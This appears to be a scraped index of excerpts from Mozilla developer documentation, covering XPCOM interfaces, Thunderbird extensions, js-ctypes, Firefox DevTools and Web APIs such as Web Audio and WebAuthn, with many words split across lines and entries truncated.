... last changed in gecko 1.9 (firefox 3) inherits from: nsithread method over
view void popeventqueue(); void pusheventqueue(in nsithreadeventfilter filter); attributes attribute type description observer nsithreadobserver get/set the current thread observer; set to null to disable obser
ving.
nsITransportEventSink
inherits from: nsisupports last changed in gecko 1.7 method over
view void ontransportstatus(in nsitransport atransport, in nsresult astatus, in unsigned long long aprogress, in unsigned long long aprogressmax); methods ontransportstatus() transport status notification.
...astatus the transport status (resolvable to a string using nsierrorser
vice).
nsITreeSelection
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void adjustselection(in long index, in long count); void clearrange(in long startindex, in long endindex); void clearselection(); void getrangeat(in long i, out long min, out long max); long getrangecount(); void invalidateselection(); void invertselection(); boolean isselected(in long index); void rangedselect(in long startindex, in long endindex, in boolean augment); void select(in long index); void selectall(); void timedselect(in long index, ...
...a
view can use this to temporarily suppress the selection while manipulating all of the indices, for example, on a sort.
nsIURL
netwerk/base/public/nsiurl.idlscriptable this interface pro
vides convenience methods that further break down the path portion of nsiuri.
... / \ ----------------------- \ | / \ filename / ---------------------------- | filepath you can get a nsiurl from an nsiuri, using the queryinterface() method: var myuri = components.classes["@mozilla.org/network/io-ser
vice;1"] .getser
vice(components.interfaces.nsiioser
vice) .newuri("http://developer.mozilla.org", null, null); try { var myurl = myuri.queryinterface(components.interfaces.nsiurl); } catch(e) { // the uri is not an url } or using instanceof: if (myuri instanceof components.interfaces.nsiurl) { // your code here } method over
view autf8strin...
nsIURLParser
inherits from: nsisupports last changed in gecko 1.7 method over
view void parseauthority(in string authority, in long authoritylen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen, out unsigned long hostnamepos, out long hostnamelen, out long port); void parsefilename(in string filename, in long filenamelen, out unsigned long basenamepos, out long basenamelen, out unsigned long extensionpos, out long extensionlen); void parsefilepath(in string filepath, in long filepathlen, out unsigned long directorypos, out long directorylen, out unsigned long basenamepos, out long basenam...
...the parsing routines attempt to be as forgi
ving as possible.
nsIUpdateItem
toolkit/mozapps/extensions/public/nsiextensionmanager.idlscriptable describes an item managed by the extension system, pro
viding metadata describing the item.
... method over
view void init(in astring id, in astring version, in astring installlocationkey, in astring minappversion, in astring maxappversion, in astring name, in astring downloadurl, in astring xpihash, in astring iconurl, in astring updateurl, in astring updatekey, in long type, in astring targetappid); attributes attribute type description iconurl astring the url of the icon that can be shown for this item.
nsIWebBrowserChrome2
1.0 66 introduced gecko 1.9 inherits from: nsiwebbrowserchrome last changed in gecko 1.9 (firefox 3) method over
view void setstatuswithcontext(in unsigned long statustype, in astring statustext, in nsisupports statuscontext); methods setstatuswithcontext() called when the status text in the chrome needs to be updated.
... statuscontext an object that pro
vides context pertaining to the status type.
nsIWebBrowserChromeFocus
inherits from: nsisupports last changed in gecko 1.7 method over
view void focusnextelement(); void focusprevelement(); methods focusnextelement() set the focus at the next focusable element in the chrome.
...focusprevelement() set the focus at the pre
vious focusable element in the chrome.
nsIWebPageDescriptor
inherits from: nsisupports last changed in gecko 1.7 method over
view void loadpage(in nsisupports apagedescriptor, in unsigned long adisplaytype); attributes attribute type description currentdescriptor nsisupports retrieves the page descriptor for the current document.
...note that if the descriptor is that of the source of another page, this keeps the source
view, but uses the current syntax highlighting preference.
nsIWebProgressListener2
last changed in gecko 1.9 (firefox 3) inherits from: nsiwebprogresslistener method over
view void onprogresschange64(in nsiwebprogress awebprogress, in nsirequest arequest, in long long acurselfprogress, in long long amaxselfprogress, in long long acurtotalprogress, in long long amaxtotalprogress); boolean onrefreshattempted(in nsiwebprogress awebprogress, in nsiuri arefreshuri, in long amillis, in boolean asameuri); methods onprogresschange64() notification that the progress has changed for one of the requests associated with awebprogress.
...for example,
via a <meta http-equiv="refresh"> or an http refresh: header.
nsIWebSocketListener
1.0 66 introduced gecko 8.0 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method over
view void onacknowledge(in nsisupports acontext, in pruint32 asize); void onbinarymessageavailable(in nsisupports acontext, in acstring amsg); void onmessageavailable(in nsisupports acontext, in autf8string amsg); void onserverclose(in nsisupports acontext, in unsigned short acode, in autf8string areason); void onstart(in nsisupports acontext); void onstop(in nsisupports acontext, in nsres...
...ult astatuscode); methods onacknowledge() called to acknowledge a message sent
via nsiwebsocketchannel.sendmsg() or nsiwebsocketchannel.sendbinarymsg().
nsIWifiListener
netwerk/wifi/nsiwifilistener.idlscriptable this interface is implemented by clients interested in recei
ving notifications when the list of available wifi access points changes.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method over
view void onchange([array, size_is(alen)] in nsiwifiaccesspoint accesspoints, in unsigned long alen); void onerror(in long error); methods onchange() called when the list of available access points changes.
nsIWifiMonitor
implemented by @mozilla.org/wifi/monitor;1 as a ser
vice: var wifimonitor = components.classes["@mozilla.org/wifi/monitor;1"] .getser
vice(components.interfaces.nsiwifimonitor); method over
view void startwatching(in nsiwifilistener alistener); void stopwatching(in nsiwifilistener alistener); methods startwatching() starts listening for changes to the wifi access point list.
...void stopwatching( in nsiwifilistener alistener ); parameters alistener the nsiwifilistener object to stop recei
ving notifications on.
nsIWindowCreator
the application, either mozilla or an embedding app, must pro
vide an implementation of the window watcher component and notify the windowwatcher during application initialization.
... inherits from: nsisupports last changed in gecko 0.9.6 method over
view nsiwebbrowserchrome createchromewindow(in nsiwebbrowserchrome parent, in pruint32 chromeflags); methods createchromewindow() create a new window.
nsIXSLTProcessor
to create an instance, use: var xsltprocessor = components.classes["@mozilla.org/document-transformer;1?type=xslt"] .createinstance(components.interfaces.nsixsltprocessor); method over
view void clearparameters(); nsivariant getparameter(in domstring namespaceuri, in domstring localname); void importstylesheet(in nsidomnode style); void removeparameter(in domstring namespaceuri, in domstring localname); void reset(); void setparameter(in domstring namespaceuri, in domstring localname, in nsivariant value); nsidomdocument transformtodocument(in nsidomnode source); ...
...getparameter() gets a parameter if pre
viously set by setparameter().
nsIXULTemplateResult
method over
view astring getbindingfor(in nsiatom avar); nsisupports getbindingobjectfor(in nsiatom avar); void hasbeenremoved(); void rulematched(in nsisupports aquery, in nsidomnode arulenode); attributes attribute type description id astring id of the result.
...this method is pro
vided as a convenience when sorting results.
nsIXmlRpcClient
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method over
view void init(in string serverurl); void setauthentication(in string username, in string password); void clearauthentication(in string username, in string password); void setencoding(in string encoding); void setencoding(in unsigned long type, out nsiidref uuid, out nsqiresult result); void asynccall (in nsixmlrpcclientlistener listener, in nsisupports ctxt, in string methodname, in nsisupports arguments, in pruint32 count); attributes attribute type description serverurl readonly n...
...
via nsixpconnect::getpendingexception()->data a nsixmlrpcfault object can be retreieved with more information on the fault.
nsIZipReaderCache
to create an instance, use: var zipreadercache = components.classes["@mozilla.org/libjar/zip-reader-cache;1"] .createinstance(components.interfaces.nsizipreadercache); method over
view nsizipreader getinnerzip(in nsifile zipfile, in autf8string zipentry); nsizipreader getinnerzip(in nsifile zipfile, in string zipentry); obsolete since gecko 10 nsizipreader getzip(in nsifile zipfile); void init(in unsigned long cachesize); methods getinnerzip() returns a (possibly shared) cached nsizipreader for a zip inside another zip.
...otherwise the pre
viously created nsizipreader is returned.
NS_CStringGetMutableData
remarks this function pro
vides mutable access to a string's internal buffer.
...that beha
vior depends on the implementation of astring.
nsStaticModuleInfo
#include "nsxpcom.h" struct nsstaticmoduleinfo { const char* name; nsgetmoduleproc getmodule; }; members name this member pro
vides the name of the module as a null-terminated, ascii-valued character array.
... getmodule this member pro
vides a function pointer of type nsgetmoduleproc that returns a nsimodule instance.
Using IndexedDB in chrome
(see using indexeddb for an over
view.) however, the apis can also be accessed from system-pri
vileged javascript using the components.utils.importglobalproperties() function: components.utils.importglobalproperties(["indexeddb"]); // from here on, it's like using indexeddb from content var req = indexeddb.open("my-database"); // ...
...pal;1"].createinstance(ci.nsiprincipal); var sandbox = components.utils.sandbox(principal, options); // the sandbox will have access to indexeddb var sandboxscript = 'var req = indexeddb.open("my-database");'; components.utils.evalinsandbox(sandboxscript, sandbox); before firefox 33, you would access indexeddb from chrome code using the initwindowless method of the nsiindexeddatabasemanager ser
vice.
Frequently Asked Questions
this section will help you if you're fixing a broken build, or have what you think is a quick ob
vious question, and you don't have time to read the reference manual.
... the faq is di
vided into sections to help you find what you're looking for faster.
nsCOMPtr versus RefPtr
this guide pro
vides some explanation and ad
vice on how to choose between them.
...the downside of this inheritance is that do_queryobject requires an extra
virtual call to operator() in the helper method.
xptcall FAQ
this is done by pro
viding a vtbl full of generic function stubs in xptcall.
...we need to get mo
ving on getting xptcall working everywhere!
XTF
xtf: when xbl just won't cut it more recent primer to xtf by alex
vincent.
...
view all...
Gloda examples
this content covers features introduced in thunderbird 3 this page pro
vides some examples for using gloda.
... query=gloda.newquery(gloda.noun_conversation); query.subjectmatches("gloda makes searching easy"); query.getcollection(alistener) search messages by tags searches for all messages ha
ving any (or several) of all tags defined in tb let query = gloda.newquery(gloda.noun_message); let tagarray = mailser
vices.tags.getalltags({}); query.tags(...tagarray); let collection = query.getcollection(mylistener); search messages by daterange searches for all messages within a date range id_q=gloda.newquery(gloda.noun_message); // define a date range form yesterday to now id_q...
MailNews Filters
for each new header, we evaluate the filter criteria and apply the actions synchronously, including mo
ving a message to an other local folder, and advance to the next header.
...these filters are initiated in the filter editor, and implemented in nsmsgfilterser
vice.cpp.
The libmime module
one of the methods pro
vided by this parser is the ability to emit an html representation of the data stream.
... any methods or class variables which this class does not wish to override will be automatically inherited from the parent class (by
virtue of its class-initialization function ha
ving been run first.) each class object will only be initialized once.
Building a Thunderbird extension 6: Adding JavaScript
further documentation more functions for the dom objects are listed on: dom/window (api reference for the window object) dom/document (api reference for the document object) gecko dom reference (over
view of all dom objects in gecko) you may also find the javascript cheat sheet very useful.
... « pre
viousnext » ...
FAQ
the old contents of this faq page were duplicated in the setting up extension development en
vironment article and the building a thunderbird extension article.
... mozillazine's getting started tutorial might pro
vide some useful general pointers regarding developing mozilla extensions.
Finding the code for a feature
as an example, i received the following inquiry, and i decided to follow my usual path and document what i do: hello i would like to add colours and tags to specific emails...by using nsimsgtagser
vice, can this be done?
... here is my (edited) response: nsimsgtagser
vice is used to store the list of valid tags, so it is not the correct way to tag messages.
Access StringBundle from Overlay
stringbundles are handy for localizing your project by remo
ving all of your strings into a separate, easy to access text file.
...verlay.properties" id="your-extension-strings" /> </stringbundleset> now that your stringbundle is attached you can access it from javascript as follows: var str = document.getelementbyid("your-extension-strings"); //get the stringbundle object itself str.getstring("propertyname"); //get a string (and do something with it) alternative way let stringbundleser
vice = cc["@mozilla.org/intl/stringbundle;1"].getser
vice(ci.nsistringbundleser
vice); let bundle = stringbundleser
vice.createbundle("chrome://your_extension/locale/overlay.properties"); let str = bundle.getstringfromname("propertyname"); see nsistringbundleser
vice ...
Filter Incoming Mail
by example, to modify the mail subject : var newmaillistener = { msgadded: function(amsghdr) { if( !amsghdr.isread ) { // here we are, a new mail has popped // let get a javascript string object from the subject property // querying mime conversion interface var mimeconvert = components.classes["@mozilla.org/messenger/mimeconverter;1"] .getser
vice(components.interfaces.nsimimeconverter); var subject = mimeconvert.decodemimeheader(amsghdr.subject, null, false, true); // here with have a string to modify with javascript.
... by example, setting it to lower case subject = subject.tolocalelowercase(); // then we rebuild a subject objet by rencoding the string // and assign it to the message headers and we're done amsghdr.subject = mimeconvert.encodemimepartiistr_utf8(subject, false, "utf-8", 0, 72); } } }; function init() { var notificationser
vice = components.classes["@mozilla.org/messenger/msgnotificationser
vice;1"] .getser
vice(components.interfaces.nsimsgfoldernotificationser
vice); notificationser
vice.addlistener(newmaillistener, notificationser
vice.msgadded); } addeventlistener("load", init, true); have a look to nsimsgdbhdr to get the full list of properties to be modified.
Get Thunderbird version
(version 3.0b3pre was the first build to include steel.) var versionchecker = components.classes["@mozilla.org/xpcom/version-comparator;1"].getser
vice(components.interfaces.nsiversioncomparator); if (versionchecker.compare(application.version, "3.0b4") >= 0) // code for >= 3.0b4 else // code for < 3.0b4 for versions prior to 3.0b3pre, you can use something like this: var version; if ( "@mozilla.org/xre/app-info;1" in components.classes ) version = components.classes["@mozilla.org/xre/app-info; 1"].getser
vice(components.interfaces.nsixulappinfo).version; else version = components.classes["@mozilla.org/preferences-ser
vice; 1"].getser
vice(components.interfaces.nsiprefbranc...
...h).getcharpref ("app.version"); var versionchecker = components.classes["@mozilla.org/xpcom/version- comparator;1"].getser
vice(components.interfaces.nsiversioncomparator); if ( versionchecker.compare( version, "3.0b3" ) >= 0 ) // code for >= 3.0b3 else // code for < 3.0b3 ...
Styling the Folder Pane
tree
view row/cell properties css property equivalent call explanation foldernamecol -- a property for indicating that a column is the folder name column.
... specialfolder-smart -- indicates that the folder is a child of a unified folder (pre
viously known as smart folder) in the smart folders
view.
Theme Packaging
theme file layout thunderbird themes are packaged in an xpi file with the following structure: theme.xpi: install.rdf pre
view.png icon.png chrome/ browser/files communicator/files global/files mozapps/files ...
... pre
view.png is a pre
view image which will show when double-clicked on a theme in the appearance section of the add-ons manager.
Using Objective-C from js-ctypes
id, id, sel, "..."); let objc_msgsend_bool = lib.declare("objc_msgsend", ctypes.default_abi, bool, id, sel, "..."); let objc_msgsend_void = lib.declare("objc_msgsend", ctypes.default_abi, ctypes.void_t, id, sel, "..."); the first two cases are both integers (including pointer), so we can cast them after recei
ving the value in pointer type.
...probably used in more * complex block scenarios invol
ving actual closure variables needing storage * (in `nodobjc`, javascript closures are leveraged instead).
Type conversion
note that the following table does not contain en
vironment dependent types (ctypes.long, etc.).
... ctypes.char.ptr js string pointer to temporary allocated null-terminated utf8 string ctypes.signed_char.ptr ctypes.unsigned_char.ptr ctypes.char16.ptr js string pointer to temporary allocated null-terminated utf16 string any pointer types any arraybuffer object pointer to the arraybuffer ctypes.voidptr_t any typedarray/data
view object pointer to the typedarray/data
view ctypes.char.ptr ctypes.int8_t.ptr int8array pointer to the int8array ctypes.uint8_t.ptr uint8array pointer to the uint8array uintclamped8array pointer to the uintclamped8array ctypes.int16_t.ptr int16array pointer to the int16array ctypes.uint16_t.ptr uint16array pointer...
CData
method over
view methods available on all cdata objects cdata address() string tosource() string tostring() properties properties of all cdata objects property type description constructor ctype the data type of the cdata object, as a ctype.
...this pro
vides a way to get a pointer to the actual data of the c value represented by the cdata object.
CType
big integer types the int64 and uint64 types pro
vide access to 64-bit integer values, which javascript doesn't currently support.
... method over
view methods available on all ctype objects ctype array([n]) string tosource() string tostring() properties properties of all ctype objects these properties are available on all ctype objects.
PointerType
method over
view methods inherited from ctype ctype array([n]) string tosource() string tostring() pointertype cdata syntax cdata pointertype(); pointertype is pointertype ctype.
... pointertype cdata method_over
view bool isnull() methods inherited from cdata cdata address() string tosource() string tostring() pointertype cdata methods isnull() determines whether or not the pointer's value is null.
ctypes
method over
view ctype arraytype(type[, length]); cdata cast(data, type); ctype functiontype(abi, returntype[, argtype1, ...]); cdata int64(n); string libraryname(name); library open(libspec); ctype pointertype(typespec); ctype structtype(name[, fields]); cdata uint64(n); properties property type description errno number the value of the latest system error.
... large integer types because javascript doesn't support large (64-bit) integers, js-ctypes pro
vides two data types allowing access to 64-bit integer data.
js-ctypes
abi cdata ctype ctypes functiontype int64 library uint64
view all...
... using c structs and pointers using com from js-ctypes using objective-c from js-ctypes github :: ochameau / jscpptypes a mangling library to use c++ from js-ctypes community
view mozilla forums...
Blocking By Domain - Plugins
any attempt to use a plugin (
via the <object> or <embed> element) will behave as if the plugin was not installed, and use fallback content as specified by the html standard.
... plugin detection mechanisms such as na
vigator.mimetypes and na
vigator.plugins will also behave as if the plugin were not installed.
Constants - Plugins
« pre
vious this section is a reference to the program definitions used by the plug-in api.
... « pre
vious ...
Plugin Roadmap for Firefox - Plugins
npapi plugins are an obsolete technology, and mozilla has been mo
ving toward a web which doesn't need plugins.
...ovember 2014 - the final countdown for npapi august 2016 - flash and chrome december 2016 - roll-out plan for html5 by default july 2017 - saying goodbye to flash in chrome microsoft edge and internet explorer april 2016 - putting users in control of flash december 2016 - extending user control of flash with click-to-run july 2017 - flash on windows timeline august 2019 - update on remo
ving flash from microsoft edge and internet explorer apple safari june 2016 - next steps for legacy plug-ins july 2017 - adobe announces flash distribution and updates to end ...
Highlight and inspect DOM nodes - Firefox Developer Tools
when you are working with dom notes in the debugger, you can easily highlight the node on the page or
view it in the page inspector.
... also, when you
view the details of a dom node in the code panel, objects that you can highlight in the list will also have a target next to them.
Use watchpoints - Firefox Developer Tools
in the firefox debugger, this information can be pro
vided by watchpoints.
...
view a watchpoint when the watched property is accessed in the way specified by the watchpoint type (get or set), the debugger pauses, enabling you to see line of code responsible, and to inspect anything else you wish at that time.
Set an XHR breakpoint - Firefox Developer Tools
inline variable pre
view new in firefox 71, the source pane now gives you an instant pre
view of the variables on each line of code you've stepped through.
... see set a breakpoint > inline variable pre
view for more information.
Source map errors - Firefox Developer Tools
source maps are json files pro
viding a way to associate transformed sources, as seen by the browser, with their original sources, as written by the developer.
... the error tells us that the source map is not json data — so we're ser
ving the wrong file.
Using the Debugger map scopes feature - Firefox Developer Tools
when you click the increment button on the page and hit the breakpoint, an additional section is added to the right-hand panel below the call stack to display variables mapped from the original scope, like this: as useful as this is, it would be even nicer if you could
view the original code (before it was packages into the "bundle.js" file.
... the debugger opens the file "increment.js" so you can
view the original code.
Basic operations - Firefox Developer Tools
on the left, you'll see an entry for the new snapshot, including its timestamp, size, and controls to save or clear this snapshot: clearing a snapshot to remove a snapshot, click the "x" icon: sa
ving and loading snapshots if you close the memory tool, all unsaved snapshots will be discarded.
...the tool then shows you the differences between the two snapshots: when you're looking at a comparison, you can't use the dominators
view or the tree map
view.
Dominators - Firefox Developer Tools
this article pro
vides an introduction to the concepts of reachability, shallow versus retained size, and dominators, as they apply in garbage-collected languages like javascript.
... you can see the dominators in a page using the dominators
view in the memory tool.
Examine and edit the box model - Firefox Developer Tools
viewing the box model with the select element button pressed, if you hover over an element in the page, the box model for the element is shown overlaid on the page: it's also shown overlaid if you hover over an element's markup in the html pane: if the element is inline and is split over multiple line boxes, the highlighter shows each indi
vidual line box that together make up the element: the box model
view when an element's selected, you can get a detailed look at the box model in the box model
view: if you hover over a value, you'll see a tooltip telling you which rule the value comes from: if you hover over part of the box model in the box model
view, the corresponding part of the page is highlighted: editing the box model you can also edit the values in the b...
...ox model
view, and see the results immediately in the page: ...
Page Inspector - Firefox Developer Tools
you can split the rules
view out into its own pane, separate from the other tabs on the css pane — this is called 3-pane mode.
... how to to find out what you can do with the inspector, see the following how to guides: open the inspector examine and edit html examine and edit the box model inspect and select colors reposition elements in the page edit fonts
visualize transforms use the inspector api select an element examine and edit css examine event listeners work with animations edit css filters edit css shapes
view background images use the inspector from the web console examine css grid layouts examine css flexbox layouts reference keyboard shortcuts settings ...
Rulers - Firefox Developer Tools
the dimensions of the
viewport are displayed near the top-right corner of the
viewport.
... beha
vior to keep in mind when using rulers: the rulers command must be reapplied in new tabs and after each page refresh.
Storage Inspector - Firefox Developer Tools
for the time being, the storage inspector only gives you a read-only
view of storage.
... add and refresh storage you'll also have buttons available to add a new storage entry or refresh the
view of the currently
viewed storage type where applicable (you can't add new entries to indexeddb or cache): sidebar when you select any row in the storage table widget, the sidebar is shown with details about that row.
Toolbox - Firefox Developer Tools
the toolbox pro
vides a single home for most of the developer tools that are built into firefox.
... the following tools are not included in the toolbar by default, but you can add them in the settings: highlight painted area 3d
view (note that this is not available in firefox 40) scratchpad grab a color from the page take a screenshot of the entire page: take a screenshot of the complete web page and saves it in your downloads directory toggle rulers for the page measure a portion of the page: measure a part of the website by selecting areas within the page toolbox controls finally there's a row of buttons to: c...
AbstractWorker.onerror - Web APIs
}; example the following code snippet shows creation of a worker object using the worker() constructor and setting up of an onerror handler on the resulting object: var myworker = new worker('worker.js'); myworker.onerror = function() { console.log('there is an error with your worker!'); } specifications specification status comment html li
ving standardthe definition of 'abstractworker.onerror' in that specification.
... li
ving standard ...
AddressErrors.addressLine - Web APIs
syntax var addresslineerror = addresserrors.addressline; value if an error occurred during validation of the address due to one of the strings in the addressline array ha
ving an invalid value, this property is set to a domstring pro
viding a human-readable error message explaining the validation error.
... the text should also include, when possible, ad
vice about how to go about correcting the error.
AddressErrors.country - Web APIs
syntax var countryerror = addresserrors.country; value if an error occurred during validation of the address due to the country property ha
ving an invalid value, this property is set to a domstring pro
viding a human-readable error message explaining the validation error.
... the text should also include, when possible, ad
vice about how to go about correcting the error.
AesGcmParams - Web APIs
this gives you a way to authenticate associated data without ha
ving to encrypt it.
...the aes-gcm specification recommends that it should be 96, 104, 112, 120 or 128, although 32 or 64 bits may be acceptable in some applications: appendix c of the specification pro
vides additional guidance here.
AmbientLightSensor.AmbientLightSensor() - Web APIs
the ambinentlightsensor() constructor creates a new ambientlightsensor object, which returns the current light level or illuminance of the ambient light around the hosting de
vice.
...the actual reading frequency depends de
vice hardware and consequently may be less than requested.
AnalyserNode.AnalyserNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanalysernode() constructorchrome full support 55edge full support ≤79firefox full support 53ie no support noopera ful...
...l support 42safari full support 6web
view android full support 55chrome android full support 55firefox android full support 53opera android full support 42safari ios full support 6samsung internet android full support 6.0legend full support full support no support no support ...
AnalyserNode.smoothingTimeConstant - Web APIs
if 0 is set, there is no averaging done, whereas a value of 1 means "overlap the pre
vious and current buffer quite a lot while computing the value", which essentially smoothes the changes across analysernode.getfloatfrequencydata/analysernode.getbytefrequencydata calls.
... analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { draw
visual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillr...
Animation.playState - Web APIs
pre
viously, web animations defined a pending value to indicate that some asynchronous operation such as initiating playback was yet to complete.
...in the game, for performance reasons, the tears should only be animating when they're
visible.
AnimationEvent() - Web APIs
elapsedtime optional a float gi
ving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused.
... return value a new animationevent, initialized per any pro
vided options.
Attr.localName - Web APIs
in pre
vious dom specifications this api was defined within the node interface.
... li
ving standard initial definition ...
AudioBuffer() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaudiobuffer() constructorchrome full support 55notes full support 55notes notes the context parameter was supported up until version 57, but has now been removed.edge full support ...
... web
view android full support 55notes full support 55notes notes the context parameter was supported up until version 57, but has now been removed.chrome android full support 55notes full support 55notes notes the context pa...
AudioBuffer.getChannelData() - Web APIs
example in the following example we create a two second buffer, fill it with white noise, and then play it
via an audiobuffersourcenode.
...you can also run the code live, or
view the source.
AudioBufferSourceNode.buffer - Web APIs
the buffer property of the audiobuffersourcenode interface pro
vides the ability to play back audio using an audiobuffer as the source of the sound data.
... example for a full working example, see this code running live, or
view the source.
AudioBufferSourceNode.loop - Web APIs
buttons are pro
vided to play and stop the audio playback, and a slider control is used to change the playbackrate property value on the fly.
... you can run the full example live (or
view the source.) function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', '
viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // wire up buttons to stop and play audio, and range slider control play.onclick = function() { g...
AudioContext() - Web APIs
if not specified, the preferred sample rate for the context's output de
vice is used by default.
... non-standard exceptions in chrome if the value of the latencyhint property isn't valid, chrome throws a typeerror exception with the message "the pro
vided value '...' is not a valid enum value of type audiocontextlatencycategory".
AudioContext.outputLatency - Web APIs
the outputlatency read-only property of the audiocontext interface pro
vides an estimation of the output latency of the current audio context.
... this is the time, in seconds, between the browser passing an audio buffer out of an audio graph over to the host system's audio subsystem to play, and the time at which the first sample in the buffer is actually processed by the audio output de
vice.
AudioContextLatencyCategory - Web APIs
by using these strings rather than a numeric value when specifying a latency to a audiocontext, you can allow the user agent to select an appropriate latency for your use case that makes sense on the de
vice on which your content is being used.
... "interactive" the audio is involved in interactive elements, such as responding to user actions or needing to coincide with
visual cues such as a
video or game action.
AudioContextOptions.sampleRate - Web APIs
this value should typically be between 8,000 hz and 96,000 hz; the default will vary depending on the output de
vice, but the sample rate 44,100 hz is the most common.
... if the samplerate property is not included in the options, or the options are not specified when creating the audio context, the new context's output de
vice's preferred sample rate is used by default.
AudioContextOptions - Web APIs
if not specified, the preferred sample rate for the context's output de
vice is used by default.
... "interactive" the audio is involved in interactive elements, such as responding to user actions or needing to coincide with
visual cues such as a
video or game action.
AudioDestinationNode.maxChannelCount - Web APIs
the maxchannelcount property of the audiodestinationnode interface is an unsigned long defining the maximum amount of channels that the physical de
vice can handle.
... audio graph, featuring an audiodestinationnode with maxchannelcount of 2: var audioctx = new audiocontext(); var source = audioctx.createmediaelementsource(mymediaelement); source.connect(gainnode); audioctx.destination.maxchannelcount = 2; gainnode.connect(audioctx.destination); to see a more complete implementation, check out one of our mdn web audio examples, such as voice-change-o-matic or
violent theremin.
AudioParam.cancelAndHoldAtTime() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcancelandholdattimechrome full support 57 full support 57 no support ?
...— 43alternate name alternate name uses the non-standard name: cancelvaluesandholdattime()safari no support noweb
view android full support 57 full support 57 no support ?
AudioParam.exponentialRampToValueAtTime() - Web APIs
the change starts at the time specified for the pre
vious event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
... examples in this example, we have a media source with two control buttons (see the audio-param repo for the source code, or
view the example live.) when these buttons are pressed, exponentialramptovalueattime() is used to fade the gain value up to 1.0, and down to 0, respectively.
AudioParam.linearRampToValueAtTime() - Web APIs
the change starts at the time specified for the pre
vious event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
... example in this example, we have a media source with two control buttons (see the audio-param repo for the source code, or
view the example live.) when these buttons are pressed, linearramptovalueattime() is used to fade the gain value up to 1.0, and down to 0, respectively.
AudioTrack.id - Web APIs
specifications specification status comment html li
ving standardthe definition of 'audiotrack.id' in that specification.
... li
ving standard html5the definition of 'audiotrack.id' in that specification.
AudioTrackList: addtrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onaddtrack examples using addeventlistener(): const
videoelement = document.queryselector('
video');
videoelement.audiotracks.addeventlistener('addtrack', (event) => { console.log(`audio track: ${event.track.label} added`); }); using the onaddtrack event handler property: const
videoelement = document.queryselector('
video');
videoelement.audiotracks.onaddtrack = (event) => { console.log(`audio track: ${event.track.label} added`); }; specifications specification status html li
ving standardthe definition of 'addtrack' in that specification.
... li
ving standard ...
AudioTrackList.onaddtrack - Web APIs
document.queryselector("
video").audiotracks.onaddtrack = function(event) { addtotracklist(event.track); }; specifications specification status comment html li
ving standardthe definition of 'audiotracklist.onaddtrack' in that specification.
... li
ving standard html5the definition of 'audiotracklist.onaddtrack' in that specification.
AudioTrackList: removetrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onremovetrack examples using addeventlistener(): const
videoelement = document.queryselector('
video');
videoelement.audiotracks.addeventlistener('removetrack', (event) => { console.log(`audio track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const
videoelement = document.queryselector('
video');
videoelement.audiotracks.onremovetrack = (event) => { console.log(`audio track: ${event.track.label} removed`); }; specifications specification status html li
ving standardthe definition of 'removetrack' in that specification.
... li
ving standard ...
AuthenticatorAssertionResponse.authenticatorData - Web APIs
this is only present during a na
vigator.credentials.create() call.
... examples var options = { challenge: new uint8array(26), // will be another value, pro
vided by the relying party server timeout: 60000 }; na
vigator.credentials.get({ publickey: options }) .then(function (assertionpkcred) { var authenticatordata = assertionpkcred.response.authenticatordata; // maybe try to convert the authenticatordata to see what's inside // send response and client extensions to the server so that it can // go on with the authentication }).ca...
AuthenticatorAssertionResponse.userHandle - Web APIs
note: an authenticatorassertionresponse instance is available on publickeycredential.response after calling na
vigator.credentials.get().
...username, e-mail, phone number, etc.) examples var options = { challenge: new uint8array(26), // will be another value, pro
vided by the relying party server timeout: 60000 }; na
vigator.credentials.get({ publickey: options }) .then(function (assertionpkcred) { var userhandle = assertionpkcred.response.userhandle; // send response and client extensions to the server so that it can // go on with the authentication }).catch(function (err) { console.error(err); }); specifications specificat...
AuthenticatorAttestationResponse - Web APIs
the authenticatorattestationresponse interface of the web authentication api is returned by credentialscontainer.create() when a publickeycredential is passed, and pro
vides a cryptographic root of trust for the new key pair that has been generated.
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; // do something with the response // (sending it back to the relying party server maybe?) }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing pu...
BaseAudioContext.createAnalyser() - Web APIs
